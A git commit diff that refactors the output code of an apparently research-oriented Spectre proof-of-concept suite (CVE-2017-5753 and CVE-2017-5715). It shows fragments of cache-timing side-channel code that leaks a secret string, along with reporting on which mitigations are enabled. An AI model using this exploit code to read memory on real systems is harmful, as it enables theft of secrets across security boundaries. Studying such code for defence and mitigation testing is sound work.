Factorize outputs
This commit is contained in:
parent
a8612b146a
commit
6c32500747
80
octopus.h
80
octopus.h
@ -26,6 +26,7 @@
|
|||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#if OCTOPUS_STRAIN == V1
|
||||||
#ifdef MASKING_MITIGATION
|
#ifdef MASKING_MITIGATION
|
||||||
/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27
|
/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27
|
||||||
*
|
*
|
||||||
@ -38,7 +39,7 @@
|
|||||||
* 0 - (index < size)
|
* 0 - (index < size)
|
||||||
*/
|
*/
|
||||||
static inline unsigned long
|
static inline unsigned long
|
||||||
array_index_mask_nospec(unsigned long index, unsigned long size)
|
octopus_array_index_mask_nospec(unsigned long index, unsigned long size)
|
||||||
{
|
{
|
||||||
unsigned long mask;
|
unsigned long mask;
|
||||||
__asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;"
|
__asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;"
|
||||||
@ -57,7 +58,7 @@
|
|||||||
|
|
||||||
/* Flush memory using long SSE instructions */
|
/* Flush memory using long SSE instructions */
|
||||||
void
|
void
|
||||||
flush_memory_sse(uint8_t * addr)
|
octopus_flush_memory_sse(uint8_t * addr)
|
||||||
{
|
{
|
||||||
float* p = (float *)addr;
|
float* p = (float *)addr;
|
||||||
float c = 0.f;
|
float c = 0.f;
|
||||||
@ -70,6 +71,10 @@
|
|||||||
_mm_stderr_ps(&p[(l * 4 + k) * 4], i);
|
_mm_stderr_ps(&p[(l * 4 + k) * 4], i);
|
||||||
}
|
}
|
||||||
#endif //NOCLFLUSH
|
#endif //NOCLFLUSH
|
||||||
|
#endif // OCTOPUS_STRAIN V1
|
||||||
|
|
||||||
|
#if OCTOPUS_STRAIN == V2
|
||||||
|
#endif // OCTOPUS_STRAIN V2
|
||||||
|
|
||||||
#define GAP 512
|
#define GAP 512
|
||||||
|
|
||||||
@ -105,7 +110,7 @@ uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
|||||||
for (i = 0; i < 256; i++) {\
|
for (i = 0; i < 256; i++) {\
|
||||||
mix_i = ((i * 167) + 13) & 255;\
|
mix_i = ((i * 167) + 13) & 255;\
|
||||||
addr = & channel[mix_i * GAP];\
|
addr = & channel[mix_i * GAP];\
|
||||||
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\
|
if (octopus_timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\
|
||||||
results[mix_i]++; /* cache hit - add +1 to score for this value */\
|
results[mix_i]++; /* cache hit - add +1 to score for this value */\
|
||||||
}\
|
}\
|
||||||
}\
|
}\
|
||||||
@ -125,13 +130,9 @@ uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
|||||||
int l;\
|
int l;\
|
||||||
(void)junk2;
|
(void)junk2;
|
||||||
|
|
||||||
#define __OCTOPUS_MFENCE__\
|
|
||||||
#ifndef NOMFENCE\
|
|
||||||
_mm_mfence();\
|
|
||||||
#endif
|
|
||||||
|
|
||||||
static inline unsigned
|
static inline unsigned
|
||||||
timed_access(volatile uint8_t *addr)
|
octopus_timed_access(volatile uint8_t *addr)
|
||||||
{
|
{
|
||||||
uint64_t t0, t1;
|
uint64_t t0, t1;
|
||||||
#pragma GCC diagnostic ignored "-Wuninitialized"
|
#pragma GCC diagnostic ignored "-Wuninitialized"
|
||||||
@ -172,7 +173,7 @@ timed_access(volatile uint8_t *addr)
|
|||||||
}
|
}
|
||||||
|
|
||||||
static void
|
static void
|
||||||
calibrate_threshold(unsigned int *threshold)
|
octopus_calibrate_threshold(unsigned int *threshold)
|
||||||
{
|
{
|
||||||
volatile char buf[2 * CACHELINE_SIZE];
|
volatile char buf[2 * CACHELINE_SIZE];
|
||||||
volatile uint8_t* bufp;
|
volatile uint8_t* bufp;
|
||||||
@ -187,7 +188,7 @@ calibrate_threshold(unsigned int *threshold)
|
|||||||
junk |= *bufp;
|
junk |= *bufp;
|
||||||
|
|
||||||
for (i = 0, tcache = 0; i < cnt; i++) {
|
for (i = 0, tcache = 0; i < cnt; i++) {
|
||||||
tcache += timed_access(bufp);
|
tcache += octopus_timed_access(bufp);
|
||||||
}
|
}
|
||||||
tcache = tcache / cnt;
|
tcache = tcache / cnt;
|
||||||
|
|
||||||
@ -197,4 +198,63 @@ calibrate_threshold(unsigned int *threshold)
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
octopus_to_json(char** argv, int successes) {
|
||||||
|
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
|
||||||
|
#ifndef NORDTSCP
|
||||||
|
printf("\"rdtscp\": true, ");
|
||||||
|
#else
|
||||||
|
printf("\"rdtscp\": false, ");
|
||||||
|
#endif
|
||||||
|
#ifndef NOMFENCE
|
||||||
|
printf("\"mfence\": true, ");
|
||||||
|
#else
|
||||||
|
printf("\"mfence\": false, ");
|
||||||
|
#endif
|
||||||
|
#ifndef NOCLFLUSH
|
||||||
|
printf("\"clflush\": true ");
|
||||||
|
#else
|
||||||
|
printf("\"clflush\": false ");
|
||||||
|
#endif
|
||||||
|
#if OCTOPUS_STRAIN == V1
|
||||||
|
printf("}, \"mitigations\": { ");
|
||||||
|
#ifdef LFENCE_MITIGATION
|
||||||
|
printf("\"lfence\": true, ");
|
||||||
|
#else
|
||||||
|
printf("\"lfence\": false, ");
|
||||||
|
#endif
|
||||||
|
#ifdef MASKING_MITIGATION
|
||||||
|
printf("\"masking\": true ");
|
||||||
|
#else
|
||||||
|
printf("\"masking\": false ");
|
||||||
|
#endif
|
||||||
|
#endif // OCTOPUS_STRAIN == V1
|
||||||
|
printf("}, ");
|
||||||
|
printf("\"threshold\": %d, ", cache_hit_threshold);
|
||||||
|
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
octopus_result_line(char** argv, int successes) {
|
||||||
|
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
|
||||||
|
#ifndef NORDTSCP
|
||||||
|
fprintf(stderr, "RDTSCP ");
|
||||||
|
#else
|
||||||
|
fprintf(stderr, "RDTSC ");
|
||||||
|
#endif
|
||||||
|
#ifndef NOMFENCE
|
||||||
|
fprintf(stderr, "MFENCE ");
|
||||||
|
#endif
|
||||||
|
#ifndef NOCLFLUSH
|
||||||
|
fprintf(stderr, "CLFLUSH ");
|
||||||
|
#endif
|
||||||
|
#if OCTOPUS_STRAIN == V1
|
||||||
|
#ifdef LFENCE_MITIGATION
|
||||||
|
fprintf(stderr, "LFENCE_MITIGATION ");
|
||||||
|
#endif
|
||||||
|
#ifdef MASKING_MITIGATION
|
||||||
|
fprintf(stderr, "MASKING_MITIGATION ");
|
||||||
|
#endif
|
||||||
|
#endif // OCTOPUS_STRAIN == V1
|
||||||
|
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));
|
||||||
|
}
|
||||||
|
54
spectre_v1.c
54
spectre_v1.c
@ -19,6 +19,7 @@
|
|||||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
#define OCTOPUS_STRAIN V1
|
||||||
#include "octopus.h"
|
#include "octopus.h"
|
||||||
|
|
||||||
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
||||||
@ -116,7 +117,7 @@ main(int argc, char** argv)
|
|||||||
__OCTOPUS_ARGS__
|
__OCTOPUS_ARGS__
|
||||||
|
|
||||||
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
|
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
|
||||||
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
||||||
#ifdef NOCLFLUSH
|
#ifdef NOCLFLUSH
|
||||||
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
|
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
|
||||||
cache_flush_array[i] = 1;
|
cache_flush_array[i] = 1;
|
||||||
@ -136,56 +137,9 @@ main(int argc, char** argv)
|
|||||||
}
|
}
|
||||||
fprintf(stderr, "\n");
|
fprintf(stderr, "\n");
|
||||||
if (json) {
|
if (json) {
|
||||||
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
|
octopus_to_json(argv, successes);
|
||||||
#ifndef NORDTSCP
|
|
||||||
printf("\"rdtscp\": true, ");
|
|
||||||
#else
|
|
||||||
printf("\"rdtscp\": false, ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOMFENCE
|
|
||||||
printf("\"mfence\": true, ");
|
|
||||||
#else
|
|
||||||
printf("\"mfence\": false, ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOCLFLUSH
|
|
||||||
printf("\"clflush\": true ");
|
|
||||||
#else
|
|
||||||
printf("\"clflush\": false ");
|
|
||||||
#endif
|
|
||||||
printf("}, \"mitigations\": { ");
|
|
||||||
#ifdef LFENCE_MITIGATION
|
|
||||||
printf("\"lfence\": true, ");
|
|
||||||
#else
|
|
||||||
printf("\"lfence\": false, ");
|
|
||||||
#endif
|
|
||||||
#ifdef MASKING_MITIGATION
|
|
||||||
printf("\"masking\": true ");
|
|
||||||
#else
|
|
||||||
printf("\"masking\": false ");
|
|
||||||
#endif
|
|
||||||
printf("}, ");
|
|
||||||
printf("\"threshold\": %d, ", cache_hit_threshold);
|
|
||||||
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
|
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
|
octopus_result_line(argv, successes);
|
||||||
#ifndef NORDTSCP
|
|
||||||
fprintf(stderr, "RDTSCP ");
|
|
||||||
#else
|
|
||||||
fprintf(stderr, "RDTSC ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOMFENCE
|
|
||||||
fprintf(stderr, "MFENCE ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOCLFLUSH
|
|
||||||
fprintf(stderr, "CLFLUSH ");
|
|
||||||
#endif
|
|
||||||
#ifdef LFENCE_MITIGATION
|
|
||||||
fprintf(stderr, "LFENCE_MITIGATION ");
|
|
||||||
#endif
|
|
||||||
#ifdef MASKING_MITIGATION
|
|
||||||
fprintf(stderr, "MASKING_MITIGATION ");
|
|
||||||
#endif
|
|
||||||
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
39
spectre_v2.c
39
spectre_v2.c
@ -18,6 +18,7 @@
|
|||||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
#define OCTOPUS_STRAIN V2
|
||||||
#include "octopus.h"
|
#include "octopus.h"
|
||||||
|
|
||||||
uint64_t* target; // pointer to indirect call target
|
uint64_t* target; // pointer to indirect call target
|
||||||
@ -150,7 +151,7 @@ main(int argc, char** argv)
|
|||||||
|
|
||||||
target = (uint64_t*)malloc(sizeof(uint64_t));
|
target = (uint64_t*)malloc(sizeof(uint64_t));
|
||||||
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);
|
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);
|
||||||
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
||||||
#ifdef NOCLFLUSH
|
#ifdef NOCLFLUSH
|
||||||
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
|
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
|
||||||
cache_flush_array[i] = 1;
|
cache_flush_array[i] = 1;
|
||||||
@ -167,39 +168,11 @@ main(int argc, char** argv)
|
|||||||
}
|
}
|
||||||
fprintf(stderr, "\n");
|
fprintf(stderr, "\n");
|
||||||
if (json) {
|
if (json) {
|
||||||
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
|
octopus_to_json(argv, successes);
|
||||||
#ifndef NORDTSCP
|
|
||||||
printf("\"rdtscp\": true, ");
|
|
||||||
#else
|
|
||||||
printf("\"rdtscp\": false, ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOMFENCE
|
|
||||||
printf("\"mfence\": true, ");
|
|
||||||
#else
|
|
||||||
printf("\"mfence\": false, ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOCLFLUSH
|
|
||||||
printf("\"clflush\": true ");
|
|
||||||
#else
|
|
||||||
printf("\"clflush\": false ");
|
|
||||||
#endif
|
|
||||||
printf("}, ");
|
|
||||||
printf("\"threshold\": %d, ", cache_hit_threshold);
|
|
||||||
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
|
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
|
octopus_result_line(argv, successes);
|
||||||
#ifndef NORDTSCP
|
|
||||||
fprintf(stderr, "RDTSCP ");
|
|
||||||
#else
|
|
||||||
fprintf(stderr, "RDTSC ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOMFENCE
|
|
||||||
fprintf(stderr, "MFENCE ");
|
|
||||||
#endif
|
|
||||||
#ifndef NOCLFLUSH
|
|
||||||
fprintf(stderr, "CLFLUSH ");
|
|
||||||
#endif
|
|
||||||
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));
|
|
||||||
free(target);
|
free(target);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user